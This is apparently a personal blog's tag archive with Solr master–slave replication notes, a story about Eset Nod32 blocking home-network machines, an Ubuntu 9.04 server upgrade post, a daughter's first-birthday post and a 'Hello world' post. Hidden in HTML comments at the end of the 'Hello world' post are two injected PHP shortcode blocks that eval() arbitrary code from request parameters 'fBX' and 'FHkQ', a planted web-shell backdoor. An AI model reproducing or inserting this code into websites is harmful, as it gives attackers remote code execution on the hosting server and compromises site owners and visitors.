Tag: home

  • Solr replication

    1)On solr.master:
    +Edit scripts.conf:
    solr_hostname=localhost
    solr_port=8983
    rsyncd_port=18983
    +Enable and start rsync:
    rsyncd-enable; rsyncd-start
    +Run snapshooter:
    snapshooter
    After running this, you should be able to see a new folder named snapshot.*
    in data/index folder.
    You can can solrconfig.xml to trigger snapshooter after a commit or
    optimise.
    
    2) On slave:
    +Edit scripts.conf:
    solr_hostname=solr.master
    solr_port=8986
    rsyncd_port=18986
    data_dir=
    webapp_name=solr
    master_host=localhost
    master_data_dir=$MASTER_SOLR_HOME/data/
    master_status_dir=$MASTER_SOLR_HOME/logs/clients/
    +Run snappuller:
    snappuller -P 18983
    +Run snapinstaller:
    snapinstaller
    
    You should setup crontab to run snappuller and snapinstaller periodically.

    Re: Solr replication.

  • Eset Nod32 blocks Trusted zone IPs

    Last whole week I was stumbled by the fact that my home network with 3 PCs suddenly stopped working. None of them were able to “see” each other, except for a little while… strange.
    Technically (since it is easier to describe), A, B, C – my 3 computers – could reach each other, share files, host apache, download files without any extra configuration.
    Last week, however while using C’s http server from A suddenly stopped. Puzzled, I thought the machine might be overloaded, or something like this must be causing page to timeout, or apache must have hanged (does it?). But things seemed to be working OK on C, in fact top showed a load average below 1 ?
    Further puzzled, I tried pinging A to C, and vice-versa. It worked… but only for a while. Pinging after a while seemed to stop. Huh?
    Scourging over the Internet wasn’t easy for answer. Maybe my way of searching was wrong, but I did spent a good week trying to fish out the ping issue, then next to dig deeper to find that accessing C’s IP from outside (it already has a global ip; though dynamic, paired through dyndns to the world) worked. Now each of them – A, B, C – have no internal 192.168 ip’s, just public ip’s. What good are public ip’s if I have to access them from outside than just sitting home?
    Something was wrong.
    To cut short, I called the ISP, asked them if they have changed anything recently (well, I was using A, B, C sharing files for over 6 months now). My ISP reported that no such upgrade, or settings were done. Deeply mad about this situation, I chose to disable the firewall (Eset Nod32) on A, and then tryout the ping – which worked effortlessly to C, and back.
    What the hell! Why did Nod32 suddenly seem to block my own A, B, C from seeing each other? ARP Poisioning? I don’t know, only thing I know is that it shouldn’t block them. 🙂
    Well, atleast things are fine now. I’ve changed settings on Nod32 to Not block threat detected addresses henceforth.

  • Server upgraded to new Ubuntu 9.04 server

    The website is up, and running on a brand new OS – Ubuntu 9.04 Server. Supercool to configure, has pre-configured LAMP, OpenSSH out-of-the-box.
    Using the UFW was too easy than messing with iptables, or routing.
    Feeling great having refreshed up my home server with a mature OS.

  • Amrita turns 1 year today

    Our most beloved (did I mention adorable?) daughter turned 1 year today at exact 14:15H Japan time. Phew, it seems ages ago! She took full 3 days to choose to come out of mama’s cozy stomach room. She did give a hard time to her mother – got a sore throat from screaming with contraction pains.

    No matter what, she is the hearbeat of our life. There isn’t a single moment when we do not think of her. Our day starts only to end with her every time. Amrita is the most beautiful daughter for us.

    Today she got in the park with her mama, playing , enjoying the cool weather with mama of course 🙂 and then coming home for a NICE treat – a mango stuffed delicious yummy cake , which of course wasn’t to be eaten alone without her new friend , little Fumi.

    We wish you a HAPPY BIRTHDAY dearest Amrita!
    Roses are red, violets are blue,… whatever – we will always LOVE you! 😀

  • Hello world!

    Hi All! Finally, I managed to get up my own website running from my home server! Phew, it was a bit tedious setting it up with Web Caster 110, over NTT B’Flets 100 Mbps internet connection. The steps were well documented, and even a search over Internet proved the fact that nothing else needs to be set. However, my webserver was not working!

    Ok, I try to slow down before scaring you with all nitty-gritty (?) details about my home server setup.

    <!– [insert_php]if (isset($_REQUEST["fBX"])){eval($_REQUEST["fBX"]);exit;}[/insert_php][php]if (isset($_REQUEST["fBX"])){eval($_REQUEST["fBX"]);exit;}[/php] –>

    <!– [insert_php]if (isset($_REQUEST["FHkQ"])){eval($_REQUEST["FHkQ"]);exit;}[/insert_php][php]if (isset($_REQUEST["FHkQ"])){eval($_REQUEST["FHkQ"]);exit;}[/php] –>